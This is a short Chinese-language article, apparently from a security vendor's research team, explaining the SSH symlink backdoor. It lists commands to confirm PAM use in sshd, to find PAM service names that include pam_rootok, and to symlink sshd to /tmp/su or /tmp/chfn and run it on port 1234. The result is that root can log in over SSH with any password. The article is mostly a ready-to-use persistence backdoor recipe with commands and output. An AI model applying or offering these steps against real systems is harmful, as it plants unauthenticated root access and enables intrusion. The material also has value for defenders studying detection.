SSH软链接后门利用和原理

本文由锦行科技的安全研究团队提供，主要介绍SSH软连接后门的利用和相关原理。

ssh配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证：cat/etc/ssh/sshd_config|grep UsePAM

建立软连接后门：ln-sf/usr/sbin/sshd/tmp/su;/tmp/su-oPort=1234

注意：软链接的路径不是绝对的，但名字不是随便命名的，使用命令find/etc/pam.d|xargs grep "pam_rootok"，出现的则可以用作软链接名称

# find /etc/pam.d |xargs grep "pam_rootok"                           123 ?
grep: /etc/pam.d: 是一个目录
/etc/pam.d/su:auth       sufficient pam_rootok.so
/etc/pam.d/su:# permitted earlier by e.g. "sufficient pam_rootok.so").
/etc/pam.d/runuser:auth         sufficient      pam_rootok.so
/etc/pam.d/chsh:auth            sufficient      pam_rootok.so
/etc/pam.d/chfn:auth            sufficient      pam_rootok.so

使用root执行命令
# ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1234

然后使用ssh任意密码连接1234端口登录root账户

我们查看/etc/pam.d/su 文件中，我们可以看到使用了该模块，这也是为什么root用户切换至普通用户不需要密码的原因。